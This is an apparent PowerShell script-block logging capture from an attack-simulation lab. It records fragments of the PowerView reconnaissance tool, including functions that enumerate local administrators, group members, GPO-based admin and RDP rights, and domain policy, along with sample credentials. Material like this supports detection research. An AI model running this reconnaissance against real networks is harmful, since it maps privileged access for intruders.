[Management.Automation.PSCredential] object of alternate credentials for connection to a remote machine. Only applicable with "-Method WinNT". .EXAMPLE Get-NetLocalGroup ComputerName GroupName Comment ------------ --------- ------- WINDOWS1 Administrators Administrators have comple... WINDOWS1 Backup Operators Backup Operators can overr... WINDOWS1 Cryptographic Operators Members are authorized to ... ... .EXAMPLE Get-NetLocalGroup -Method Winnt ComputerName GroupName GroupSID Comment ------------ --------- -------- ------- WINDOWS1 Administrators S-1-5-32-544 Administrators hav... WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... ... .EXAMPLE Get-NetLocalGroup -ComputerName primary.testlab.local ComputerName GroupName Comment ------------ --------- ------- primary.testlab.local Administrators Administrators have comple... primary.testlab.local Users Users are prevented from m... primary.testlab.local Guests Guests have the same acces... primary.testlab.local Print Operators Members can administer dom... primary.testlab.local Backup Operators Backup Operators can overr... .OUTPUTS PowerView.LocalGroup.API Custom PSObject with translated group property fields from API results. PowerView.LocalGroup.WinNT Custom PSObject with translated group property fields from WinNT results. .LINK https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LocalGroup.API')] [OutputType('PowerView.LocalGroup.WinNT')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [ValidateSet('API', 'WinNT')] [Alias('CollectionMethod')] [String] $Method = 'API', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { if ($Method -eq 'API') { # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information # arguments for NetLocalGroupEnum $QueryLevel = 1 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get the local user information $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # Work out how much to increment the pointer by finding out the size of the structure $Increment = $LOCALGROUP_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $LOCALGROUP_INFO_1 $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $LocalGroup = New-Object PSObject $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') $LocalGroup } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { # otherwise we're using the WinNT service provider $ComputerProvider = [ADSI]"WinNT://$Computer,computer" $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { $LocalGroup = ([ADSI]$_) $Group = New-Object PSObject $Group | Add-Member Noteproperty 'ComputerName' $Computer $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') $Group } } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetLocalGroupMember { <# .SYNOPSIS Enumerates members of a specific local group on the local (or remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Convert-ADName .DESCRIPTION This function will enumerate the members of a specified local group on the current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider to be used instead, which returns a larger amount of information. .PARAMETER ComputerName Specifies the hostname to query for sessions (also accepts IP addresses). Defaults to the localhost. .PARAMETER GroupName The local group name to query for users. If not given, it defaults to "Administrators". .PARAMETER Method The collection method to use, defaults to 'API', also accepts 'WinNT'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to a remote machine. Only applicable with "-Method WinNT". .EXAMPLE Get-NetLocalGroupMember | ft ComputerName GroupName MemberName SID IsGroup IsDomain ------------ --------- ---------- --- ------- -------- WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True .EXAMPLE Get-NetLocalGroupMember -Method winnt | ft ComputerName GroupName MemberName SID IsGroup IsDomain ------------ --------- ---------- --- ------- -------- WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True .EXAMPLE Get-NetLocalGroup | Get-NetLocalGroupMember | ft ComputerName GroupName MemberName SID IsGroup IsDomain ------------ --------- ---------- --- ------- -------- WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN .EXAMPLE Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft ComputerName GroupName MemberName SID IsGroup IsDomain ------------ --------- ---------- --- ------- -------- primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False .OUTPUTS PowerView.LocalGroupMember.API Custom PSObject with translated group property fields from API results. PowerView.LocalGroupMember.WinNT Custom PSObject with translated group property fields from WinNT results. .LINK http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LocalGroupMember.API')] [OutputType('PowerView.LocalGroupMember.WinNT')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String] $GroupName = 'Administrators', [ValidateSet('API', 'WinNT')] [Alias('CollectionMethod')] [String] $Method = 'API', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { if ($Method -eq 'API') { # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information # arguments for NetLocalGroupGetMembers $QueryLevel = 2 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get the local user information $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # loc ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989521 Keywords=None Message=Creating Scriptblock text (41 of 61): he LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local Finds users who have local admin rights over WINDOWS3 through GPO correlation. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP Finds users who have RDP rights over WINDOWS4 through GPO correlation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local .OUTPUTS PowerView.GGPOComputerLocalGroupMember #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GGPOComputerLocalGroupMember')] [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] Param( [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] [String] $ComputerIdentity, [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] [Alias('OU')] [String] $OUIdentity, [String] [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['ComputerIdentity']) { $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' if (-not $Computers) { throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." } ForEach ($Computer in $Computers) { $GPOGuids = @() # extract any GPOs linked to this computer's OU through gpLink $DN = $Computer.distinguishedname $OUIndex = $DN.IndexOf('OU=') if ($OUIndex -gt 0) { $OUName = $DN.SubString($OUIndex) } if ($OUName) { $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # extract any GPOs linked to this computer's site through gpLink Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # process any GPO local group settings from the GPO GUID set $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { $GPOGroup = $_ if($GPOGroup.GroupMembers) { $GPOMembers = $GPOGroup.GroupMembers } else { $GPOMembers = $GPOGroup.GroupSID } $GPOMembers | ForEach-Object { $Object = Get-DomainObject @CommonArguments -Identity $_ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOComputerLocalGroupMember = New-Object PSObject $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') $GPOComputerLocalGroupMember } } } } } } function Get-DomainPolicyData { <# .SYNOPSIS Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID .DESCRIPTION Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller using Get-DomainGPO. .PARAMETER Domain The domain to query for default policies, defaults to the current domain. .PARAMETER Policy Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies. Otherwise queries for the particular GPO name or GUID. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainPolicyData Returns the default domain policy for the current domain. .EXAMPLE Get-DomainPolicyData -Domain dev.testlab.local Returns the default domain policy for the dev.testlab.local domain. .EXAMPLE Get-DomainGPO | Get-DomainPolicy Parses any GptTmpl.infs found for any policies in the current domain. .EXAMPLE Get-DomainPolicyData -Policy DC -Domain dev.testlab.local Returns the policy for the dev.testlab.local domain controller. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainPolicyData -Credential $Cred .OUTPUTS Hashtable Ouputs a hashtable representing the parsed GptTmpl.inf file. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Source', 'Name')] [String] $Policy = 'Domain', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ConvertArguments = @{} if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain $ConvertArguments['Domain'] = $Domain } if ($Policy -eq 'All') { $SearcherArguments['Identity'] = '*' } elseif ($Policy -eq 'Domain') { $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' } elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' } else { $SearcherArguments['Identity'] = $Policy } $GPOResults = Get-DomainGPO @SearcherArguments ForEach ($GPO in $GPOResults) { # grab the GptTmpl.inf file and parse it $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" $ParseArgs = @{ 'GptTmplPath' = $GptTmplPath 'OutputObject' = $True } if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } # parse the GptTmpl.inf Get-GptTmpl @ParseArgs | ForEach-Object { $_ | Add-Member Noteproperty 'GPOName' $GPO.name $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname $_ } } } } ######################################################## # # Functions that enumerate a single host, either through # WinNT, WMI, remote registry, or API calls # (with PSReflect). # ######################################################## function Get-NetLocalGroup { <# .SYNOPSIS Enumerates the local groups on the local (or remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function will enumerate the names and descriptions for the local groups on the current, or remote, machine. By default, the Win32 API call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider to be used instead, which returns group SIDs along with the group names and descriptions/comments. .PA ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989520 Keywords=None Message=Creating Scriptblock text (40 of 61): alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOUserLocalGroupMapping Find all user/group -> machine relationships where the user/group is a member of the local administrators group on target machines. .EXAMPLE Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local Find all computers that dfm user has local administrator rights to in the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOUserLocalGroupMapping -Credential $Cred .OUTPUTS PowerView.GPOLocalGroupMapping A custom PSObject containing any target identity information and what local group memberships they're a part of through GPO correlation. .LINK http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOUserLocalGroupMapping')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $Identity, [String] [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { $TargetSIDs = @() if ($PSBoundParameters['Identity']) { $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid $TargetObjectSID = $TargetSIDs if (-not $TargetSIDs) { Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" } } else { # no filtering/match all $TargetSIDs = @('*') } if ($LocalGroup -match 'S-1-5') { $TargetLocalSID = $LocalGroup } elseif ($LocalGroup -match 'Admin') { $TargetLocalSID = 'S-1-5-32-544' } else { # RDP $TargetLocalSID = 'S-1-5-32-555' } if ($TargetSIDs[0] -ne '*') { ForEach ($TargetSid in $TargetSids) { Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid } } Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { $GPOgroup = $_ # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID if ($GPOgroup.GroupSID -match $TargetLocalSID) { $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { $GPOgroup } } } # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { $GPOgroup } } } | Sort-Object -Property GPOName -Unique $GPOgroups | Where-Object {$_} | ForEach-Object { $GPOname = $_.GPODisplayName $GPOguid = $_.GPOName $GPOPath = $_.GPOPath $GPOType = $_.GPOType if ($_.GroupMembers) { $GPOMembers = $_.GroupMembers } else { $GPOMembers = $_.GroupSID } $Filters = $_.Filters if ($TargetSIDs[0] -eq '*') { # if the * wildcard was used, set the targets to all GPO members so everything it output $TargetObjectSIDs = $GPOMembers } else { $TargetObjectSIDs = $TargetObjectSID } # find any OUs that have this GPO linked through gpLink Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { if ($Filters) { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname } else { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname } if ($OUComputers) { if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } # find any sites that have this GPO linked through gpLink Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } } } function Get-DomainGPOComputerLocalGroupMapping { <# .SYNOPSIS Takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup .DESCRIPTION This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups are in the specified local group for a target machine through GPO correlation. If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to determine the OU the computer is a part of. Then resolve the computer's site name with Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For each resulting GPO group, resolve the resulting user/group name to a full AD object and return the results. This will return the domain objects that are members of the specified -LocalGroup for the given computer. Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and localgroup specifications. .PARAMETER ComputerIdentity A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. .PARAMETER OUIdentity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check access against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for 